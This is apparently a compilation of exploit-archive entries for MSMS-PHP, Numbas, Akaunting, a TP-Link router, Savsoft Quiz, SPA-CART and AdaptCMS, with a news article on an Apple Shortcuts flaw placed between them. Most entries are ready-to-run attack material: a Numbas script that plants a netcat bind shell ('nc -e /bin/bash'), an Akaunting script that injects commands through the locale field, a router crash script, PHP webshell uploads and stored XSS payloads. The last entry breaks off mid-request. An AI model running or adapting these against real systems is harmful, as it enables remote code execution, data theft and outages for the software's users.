MSMS-PHP version 1.0 suffers from a remote shell upload vulnerability.

    ## Title: MSMS-PHP (by: oretnom23 ) v1.0 File Upload - RCE browser using## Author: nu11secur1ty## Date: 03/13/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/file-upload## Description:The upload function and id=cimg parameter are not sanitizing correctly!The attacker can upload any PHP file which he can execute directly onthe server!STATUS: HIGH-CrITICAL Vulnerability[+]Payload:```POSTPOST /mobile_store/classes/SystemSettings.php?f=update_settings HTTP/1.1Host: localhostContent-Length: 6318sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data;boundary=----WebKitFormBoundarypV7nBYU4nAonvWelX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/mobile_store/admin/?page=system_infoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=b6i4kegv7jonjlu44gtuo8i4dgConnection: close------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="name"Mobile Store Management System - PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="short_name"MSMS-PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="about_us"<p style="text-align: center; margin-right: 0px; margin-bottom: 0px;margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size:70px; line-height: 90px;">About Us</p><hr style="margin: 0px; padding:0px; clear: both; border-top: 0px; height: 1px; background-image:linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75),rgba(0, 0, 0, 0));"><div id="Content" style="margin: 0px; padding:0px; position: relative;"><div id="bannerL" style="margin: 0px 0px 0px-160px; padding: 0px; position: sticky; top: 20px; width: 160px;height: 10px; float: left; text-align: right; color: rgb(0, 0, 0);font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div id="bannerR"style="margin: 0px -160px 0px 0px; padding: 0px; position: sticky;top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0,0); font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div class="boxed"style="margin: 10px 28.7969px; padding: 0px; clear: both; color:rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-size:14px; text-align: center; background-color: rgb(255, 255, 255);"><divid="lipsum" style="margin: 0px; padding: 0px; text-align:justify;"></div></div></div><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Lorem ipsumdolor sit amet, consectetur adipiscing elit. Nullam non ultricestortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenasiaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blanditvulputate magna, non lobortis velit pharetra vel. Morbi sollicitudinlorem sed augue suscipit, eu commodo tortor vulputate. Interdum etmalesuada fames ac ante ipsum primis in faucibus. Pellentesquehabitant morbi tristique senectus et netus et malesuada fames acturpis egestas. Praesent eleifend interdum est, at gravida eratmolestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabituret viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamusporttitor ac risus eu ultricies. Morbi malesuada mi vel luctussagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris atlacus vehicula, aliquam purus quis, pharetra lorem.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Proin consectetur massa ut quam molestie porta. Donecsit amet ligula odio. Class aptent taciti sociosqu ad litora torquentper conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinarac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eublandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifendid, aliquet ut libero. Nunc scelerisque vulputate turpis quisvolutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulumimperdiet, nulla vitae pharetra pretium, magna felis placerat libero,quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorpercursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapienconsectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitaetortor vestibulum consequat ac quis risus. Sed finibus pharetra orci,id vehicula tellus eleifend sit amet.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Morbi id antevel velit mollis egestas. Suspendisse pretium sem urna, vitae placeratturpis cursus faucibus. Ut dignissim molestie blandit. Phaselluspulvinar, eros id ultricies mollis, lectus velit viverra mi, atvenenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibhfelis. Donec faucibus, nulla at faucibus blandit, mi justo efficiturdui, non mattis nisl purus non lacus. Maecenas vel congue tellus, inconvallis nisi. Curabitur faucibus interdum massa, eu facilisis ligulapretium quis. Nunc eleifend orci nec volutpat tincidunt.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Ut et urna sapien. Nulla lacinia sagittis felis idcursus. Etiam eget lacus quis enim aliquet dignissim. Nulla vel elitultrices, venenatis quam sed, rutrum magna. Pellentesque ultricies nonlorem hendrerit vestibulum. Maecenas lacinia pharetra nisi, atpharetra nunc placerat nec. Maecenas luctus dolor in leo malesuada,vel aliquet metus sollicitudin. Curabitur sed pellentesque sem, intincidunt mi. Aliquam sodales aliquam felis, eget tristique felisdictum at. Proin leo nisi, malesuada vel ex eu, dictum pellentesquemauris. Quisque sit amet varius augue.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Sed quisimperdiet est. Donec lobortis tortor id neque tempus, vel faucibuslorem mollis. Fusce ut sollicitudin risus. Aliquam iaculis tristiquenunc vel feugiat. Sed quis nulla non dui ornare porttitor eu vitaenisi. Curabitur at quam ut libero convallis mattis vel eget mauris.Vivamus vitae lectus ligula. Nulla facilisi. Vivamus tristique maximusnulla, vel mollis felis blandit posuere. Curabitur mi risus, rutrumnon magna at, molestie gravida magna. Aenean neque sapien, volutpat aullamcorper nec, iaculis quis est.</p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="privacy_policy"<p>Sample Privacy Policy<br></p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="img"; filename="info.php"Content-Type: application/octet-stream<?php  phpinfo();?>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="cover"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="banners[]"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWel--```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0/FU)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-file-upload.html)## Time spent:00:05:00

MSMS-PHP 1.0 Shell Upload

Numbas versions prior to 7.3 suffer from a remote code execution vulnerability.

    # Exploit Title: Numbas < v7.3 - Remote Code Execution# Google Dork: N/A# Date: March 7th, 2024# Exploit Author: Matheus Boschetti# Vendor Homepage: https://www.numbas.org.uk/# Software Link: https://github.com/numbas/Numbas# Version: 7.2 and below# Tested on: Linux# CVE: CVE-2024-27612import sys, requests, re, argparse, subprocess, timefrom bs4 import BeautifulSoups = requests.session()def getCSRF(target):    url = f"http://{target}/"    req = s.get(url)    soup = BeautifulSoup(req.text, 'html.parser')    csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']    return csrfmiddlewaretokendef createTheme(target):    # Format request    csrfmiddlewaretoken = getCSRF(target)    theme = 'ExampleTheme'    boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'    data = (        f'--{boundary}\r\n'        'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'        '\r\n'        f'{csrfmiddlewaretoken}\r\n'        f'--{boundary}\r\n'        'Content-Disposition: form-data; name="name"\r\n'        '\r\n'        f'{theme}\r\n'        f'--{boundary}--\r\n'    )    headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',               'User-Agent': 'Mozilla/5.0',               'Accept': '*/*',               'Connection': 'close'}    # Create theme and return its ID    req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)    redir = req.url    split = redir.split('/')    id = split[4]    print(f"\t[i] Theme created with ID {id}")    return iddef login(target, user, passwd):    print("\n[i] Attempting to login...")    csrfmiddlewaretoken = getCSRF(target)    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,            'username': user,            'password': passwd,            'next': '/'}        # Login    login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)    res = login.text    if("Logged in as" not in res):        print("\n\n[!] Login failed!")        sys.exit(-1)    # Check if logged and fetch ID    usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)    if usermatch:        user = usermatch.group(1)        idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)        if idmatch:            id = idmatch.group(1)            print(f"\t[+] Logged in as \"{user}\" with ID {id}")def checkVuln(url):    print("[i] Checking if target is vulnerable...")    # Attempt to read files    themeID = createTheme(url)    target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."    hname = s.get(f"{target}/etc/hostname")    ver = s.get(f"{target}/etc/issue")    hnamesoup = BeautifulSoup(hname.text, 'html.parser')    versoup = BeautifulSoup(ver.text, 'html.parser')    hostname = hnamesoup.find('textarea').get_text().strip()    version = versoup.find('textarea').get_text().strip()    if len(hostname) < 1:        print("\n\n[!] Something went wrong - target might not be vulnerable.")        sys.exit(-1)    print(f"\n[+] Target \"{hostname}\" is vulnerable!")    print(f"\t[i] Running: \"{version}\"")    # Cleanup - delete theme    print(f"\t\t[i] Cleanup: deleting theme {themeID}...")    target = f"http://{url}/themes/{themeID}/delete"    csrfmiddlewaretoken = getCSRF(url)    data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}    s.post(target, data=data)def replaceInit(target):    # Overwrite __init__.py with arbitrary code    rport = '8443'    payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"    csrfmiddlewaretoken = getCSRF(target)    filename = '../../../../numbas_editor/numbas/__init__.py'    themeID = createTheme(target)    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,            'source': payload,            'filename': filename}    print("[i] Delivering payload...")    # Retry 5 times in case something goes wrong...    for attempt in range(5):        try:            s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)        except Exception as e:            pass        # Establish connection to bind shell    time.sleep(2)    print(f"\t[+] Payload delivered, establishing connection...\n")    if ":" in target:        split = target.split(":")        ip = split[0]    else:        ip = str(target)    subprocess.Popen(["nc", "-n", ip, rport])    while True:        passdef main():    parser = argparse.ArgumentParser()    if len(sys.argv) <= 1:        print("\n[!] No option provided!")        print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")        print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")        sys.exit(-1)    group = parser.add_mutually_exclusive_group(required=True)    group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')    parser.add_argument('--target', help='Target IP:PORT')    parser.add_argument('--user', help='Username to authenticate')    parser.add_argument('--passwd', help='Password to authenticate')    args = parser.parse_args()    action = args.action    target = args.target    user = args.user    passwd = args.passwd    print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")        if action == 'check':        login(target, user, passwd)        checkVuln(target)    elif action == 'exploit':        login(target, user, passwd)        replaceInit(target)    else:        sys.exit(-1)if __name__ == "__main__":    main()

Numbas Remote Code Execution

Akaunting versions 3.1.3 and below suffer from a remote command execution vulnerability.

    # Exploit Title: Akaunting < 3.1.3 - RCE# Date: 08/02/2024# Exploit Author: u32i@proton.me# Vendor Homepage: https://akaunting.com# Software Link: https://github.com/akaunting/akaunting# Version: <= 3.1.3# Tested on: Ubuntu (22.04)# CVE : CVE-2024-22836#!/usr/bin/python3import sysimport reimport requestsimport argparsedef get_company():  # print("[INF] Retrieving company id...")  res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)  if res.status_code != 302:    print("[ERR] No company id was found!")    sys.exit(3)  cid = res.headers['Location'].split('/')[-1]  if cid == "login":    print("[ERR] Invalid session cookie!")    sys.exit(7)  return ciddef get_tokens(url):  res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)  search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)  if not search_res:    print("[ERR] Couldn't get csrf token")    sys.exit(1)  data = {}  data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')  data['session'] = res.cookies.get('akaunting_session')  return datadef inject_command(cmd):  url = f"{target}/{company_id}/wizard/companies"  tokens = get_tokens(url)  headers.update({"X-Csrf-Token": tokens['csrf_token']})  data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:    res_data = res.json()    if res_data['error']:      print("[ERR] Command injection failed!")      sys.exit(4)    print("[INF] Command injected!")def trigger_rce(app, version = "1.0.0"):  print("[INF] Executing the command...")  url = f"{target}/{company_id}/apps/install"  data = {"alias": app, "version": version, "path": f"apps/{app}/download"}  headers.update({"Content-Type":"application/json"})  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:    res_data = res.json()    if res_data['error']:      search_res = re.search(r">Exit Code\:.*<", res_data['message'])      if search_res:        print("[ERR] Failed to execute the command")        sys.exit(6)      print("[ERR] Failed to install the app! no command was executed!")      sys.exit(5)    print("[INF] Executed successfully!")def login(email, password):  url = f"{target}/auth/login"  tokens = get_tokens(url)  cookies.update({    'akaunting_session': tokens['session']  })  data = {    "_token": tokens['csrf_token'],    "_method": "POST",    "email": email,    "password": password  }    req = requests.post(url, headers=headers, cookies=cookies, data=data)  res = req.json()  if res['error']:    print("[ERR] Failed to log in!")    sys.exit(8)  print("[INF] Logged in")  cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})    def main():  inject_command(args.command)  trigger_rce(args.alias, args.version)if __name__=='__main__':  parser = argparse.ArgumentParser()  parser.add_argument("-u", "--url", help="target url")  parser.add_argument("--email", help="user login email.")  parser.add_argument("--password", help="user login password.")  parser.add_argument("-i", "--id", type=int, help="company id (optional).")  parser.add_argument("-c", "--command", help="command to execute.")  parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")  parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")  args = parser.parse_args()    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}  cookies = {}  target = args.url  try:    login(args.email, args.password)    company_id = get_company() if not args.id else args.id    main()  except:    sys.exit(0)

Akaunting 3.1.3 Remote Command Execution

There exists a buffer overflow vulnerability in the TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request.

    # Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'# Date: 8/12/2023# Exploit Author: Anish Feroz (ZEROXINN)# Vendor Homepage: http://www.tp-link.com# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n# Tested on: TP-Link TL-WR740N#Description:#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.#Usage:#python3 target username password#change port, if required------------------------------------------------POC-----------------------------------------#!/usr/bin/pythonimport requestsfrom requests.auth import HTTPBasicAuthimport base64def send_request(ip, username, password):    auth_url = f"http://{ip}:8082"    target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"    credentials = f"{username}:{password}"    encoded_credentials = base64.b64encode(credentials.encode()).decode()    headers = {        "Host": f"{ip}:8082",        "Authorization": f"Basic {encoded_credentials}",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "en-US,en;q=0.9",        "Connection": "close"    }    session = requests.Session()        response = session.get(target_url, headers=headers)    if response.status_code == 200:        print("Server Crashed")        print(response.text)    else:        print(f"Script Completed with status code {response.status_code}")ip_address = input("Enter IP address of the host: ")username = input("Enter username: ")password = input("Enter password: ")send_request(ip_address, username, password)

TP-Link TL-WR740N Buffer Overflow / Denial Of Service

By Waqas
Another day, another Apple Security Vulnerability!
This is a post from HackRead.com Read the original post: Apple Shortcuts Vulnerability Exposes Sensitive Data, Update Now!

Apple Shortcuts security vulnerability (CVE-2024-23204) allows attackers to access targeted devices and steal sensitive data – update your devices now!

Cybersecurity firm Bitdefender has discovered a 7.5/10 severity rating vulnerability in Apple Shortcuts, allowing attackers to access sensitive data without prompting users. According to Bitdefender’s blog post published on 22 February 2024, this vulnerability tracked as **CVE-2024-23204**, allows attackers to create a Shortcuts file bypassing Apple’s security framework for macOS and iOS.

Apple Shortcuts is a popular **macOS and iOS** automation app that simplifies tasks by allowing users to create personalized workflows using visual programming to automate tasks like app control, media management, messaging, location-based actions, and more. Users can create workflows for file management, health tracking, web automation, education, and smart home integration, thereby improving productivity and user experience.

The vulnerability was found in the shortcut sharing/expanding mechanism in Apple’s Shortcuts community. The community allows users to discover and expedite automation workflows and export/share shortcuts.

CVE-2024-23204 on the other hand, lets users unknowingly import shortcuts that could exploit the Transparency, Consent, and Control (TCC) security framework in macOS and iOS. This framework helps ensure user privacy and security by requiring explicit permission before accessing sensitive data or functionalities.

During the attack, as noted by researchers in their **blog post**, the ‘Expand URL’ function in Shortcuts lets attackers transmit base64-encoded photo data to a malicious website. This involves selecting sensitive data, importing it, converting it using the base64 encode option, and forwarding it to the server. A Flask program captures the transmitted data, allowing the attacker to store it for exploitation. The issue is fixed in **macOS Sonoma 14.3**, **watchOS 10.3**, **iOS 17.3, and iPadOS 17.3**. 

Still, it highlights the need for continuous security vigilance in Apple’s Shortcuts application, given its potential for privacy breaches. Users are advised to use the latest software. Users are advised to update macOS, iPadOS, and watchOS devices, remain cautious when executing shortcuts from untrusted sources, and regularly check for **Apple security updates and patches**.

****Watch the vulnerability in action!****

The rising number of flaws identified in Apple apps and devices recently has effectively busted the myth of Apple products being the most reliable in safeguarding user data. Last year Apple patched a record number of vulnerabilities.

In July 2023, Apple issued a critical **security alert** for iPhone, iPad, and Mac users, urging them to update their devices soon due to a software vulnerability in its Safari WebKit browser engine.

In October 2023, researchers from Georgia Tech, the University of Michigan, and Ruhr University Bochum **discovered an iLeakage** vulnerability in Apple devices, affecting Macs and iPhones since 2020. The attack exploited a side-channel vulnerability in CPUs, allowing Safari to divulge sensitive data, including passwords and Gmail content.

In December 2023, a **Bluetooth vulnerability**, CVE-2023-45866, let attackers control Android, Linux, macOS, and iOS devices without user confirmation to install malicious apps, run commands, and perform unauthorized actions.

The same month, Apple **released** security updates to address two zero-day vulnerabilities, CVE-2023-42916 and CVE-2023-42917, which allowed hackers to execute code and access sensitive data on compromised devices through malicious web pages.

1.  **Apple Approves Fake App Before Real Rabby Wallet**
2.  **Apple Safari Safest, Google Chrome Riskiest Browser**
3.  **Apple AirTags can be used as trojan for credential hacking**
4.  **55 Apple vulnerabilities risked iCloud account takeover, data theft**
5.  **Apple Bug bounty: Earn big backs for hacking iPhone, other products**

Apple Shortcuts Vulnerability Exposes Sensitive Data, Update Now!

Savsoft Quiz version 6.0 Enterprise suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Savsoft Quiz v6.0 Enterprise - Persistent Cross-Site Scripting# Date: 2024-01-03# Exploit Author: Eren Sen# Vendor: SAVSOFT QUIZ# Vendor Homepage: https://savsoftquiz.com# Software Link: https://savsoftquiz.com/web/index.php/online-demo/# Version: < 6.0# CVE-ID: N/A# Tested on: Kali Linux / Windows 10# Vulnerabilities Discovered Date : 2024/01/03# Persistent Cross Site Scripting (XSS) Vulnerability# Vulnerable Parameter Type: POST# Vulnerable Parameter: quiz_name# Proof of Concepts:https://demos1.softaculous.com/Savsoft_Quizdemk1my5jr/index.php/quiz/edit_quiz/13# HTTP Request:POST /Savsoft_Quizdemk1my5jr/index.php/quiz/insert_quiz/ HTTP/1.1Host: demos1.softaculous.comCookie: ci_session=xxxxxxxxxxxxxxxxxxxxxxxxxContent-Length: 411Cache-Control: max-age=0Sec-Ch-Ua:Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: ""Upgrade-Insecure-Requests: 1Origin: https://demos1.softaculous.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://demos1.softaculous.com/Savsoft_Quizdemk1my5jr/index.php/quiz/add_newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closequiz_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=%3Cp%3Etest%3C%2Fp%3E&start_date=2024-01-04+01%3A00%3A27&end_date=2025-01-03+01%3A00%3A27&duration=10&maximum_attempts=10&pass_percentage=50&correct_score=1&incorrect_score=0&ip_address=&view_answer=1&with_login=1&show_chart_rank=1&camera_req=0&gids%5B%5D=1&quiz_template=Default&question_selection=0&quiz_price=0&gen_certificate=0&certificate_text=

Savsoft Quiz 6.0 Enterprise Cross Site Scripting

SPA-CART CMS version 1.9.0.3 suffers from a persistent cross site scripting vulnerability.

# Exploit Title: SPA-CART CMS - Stored XSS  
# Date: 2024-01-03  
# Exploit Author: Eren Sen  
# Vendor: SPA-Cart  
# Vendor Homepage: https://spa-cart.com/  
# Software Link: https://demo.spa-cart.com/  
# Version: [1.9.0.3]  
# CVE-ID: N/A  
# Tested on: Kali Linux / Windows 10  
# Vulnerabilities Discovered Date : 2024/01/03

# Vulnerability Type: Stored Cross Site Scripting (XSS) Vulnerability  
# Vulnerable Parameter Type: POST  
# Vulnerable Parameter: descr

# Proof of Concept: demo.spa-cart.com/product/258

# HTTP Request:

POST ////admin/products/258 HTTP/2  
Host: demo.spa-cart.com  
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxx; remember=xxxxxxxxxxxxxxxx  
Content-Length: 1906  
Sec-Ch-Ua:  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUsO8JxBs6LhB8LSl  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36  
Sec-Ch-Ua-Platform: ""  
Origin: https://demo.spa-cart.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://demo.spa-cart.com////admin/products/258  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="mode"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="sku"

SKU386

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="name"

asdf

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="cleanurl"

Wholesale-DIY-Jewelry-Faceted-70pcs-6-8mm-Red-AB-Rondelle-glass-Crystal-Beads  
------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="avail"

1000

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="price"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="list_price"

2

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="weight"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categoryid"

42

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categories[]"

8

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categories[]"

37

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="brandid"

4

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="status"

1

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="keywords"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl

Content-Disposition: form-data; name="descr"

<script>alert(1)</script>

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="title_tag"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="meta_keywords"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="meta_description"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl--

SPA-CART CMS 1.9.0.3 Cross Site Scripting

Adapt CMS version 3.0.3 suffers from persistent cross site scripting and remote shell upload vulnerabilities.

# Exploit Title: Stored XSS and RCE - adaptcmsv3.0.3  
# Date: 02/2024  
# Exploit Author: Andrey Stoykov  
# Version: 3.0.3  
# Tested on: Ubuntu 22.04  
# Blog: http://msecureltd.blogspot.com

 *Description*

- It was found that adaptcms v3.0.3 was vulnerable to stored cross  
site scripting

- Also the application allowed the file upload functionality to upload  
PHP files which resulted in remote code execution

*Stored XSS*

*Steps to Reproduce:*

   1. Login as admin and add a new article  
   2. In "Title" add the following payload <svg><animate  
onbegin=alert(1) attributeName=x dur=1s>  
   3. The stored XSS would be triggered upon visiting the article by  
normal user

// HTTP POST request

POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1

Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

_method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&*data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E*&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[...]

// HTTP GET request

GET /adaptcms/admin/articles/preview HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

// HTTP response

HTTP/1.1 200 OK  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
[...]

[...]  
<!DOCTYPE html>  
<html lang="en">  
<head>  
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  *<title>*  
*    AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x  
dur=1s>  </title>*  
[...]

*Unrestricted File Upload*

*Steps to Reproduce:*

   1. Login as admin and visit the "Media" page  
   2. Click on "Files" then use the "Add File" functionality  
   3. In "File Contents" add the following PHP code <?php phpinfo(); ?>

// HTTP POST request

POST /adaptcms/admin/files/add HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

[...]  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
*Content-Disposition: form-data; name="data[0][File][dir]"*

*uploads/*  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
Content-Disposition: form-data; name="data[0][File][mimetype]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
Content-Disposition: form-data; name="data[0][File][filesize]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
*Content-Disposition: form-data; name="data[File][content]"*

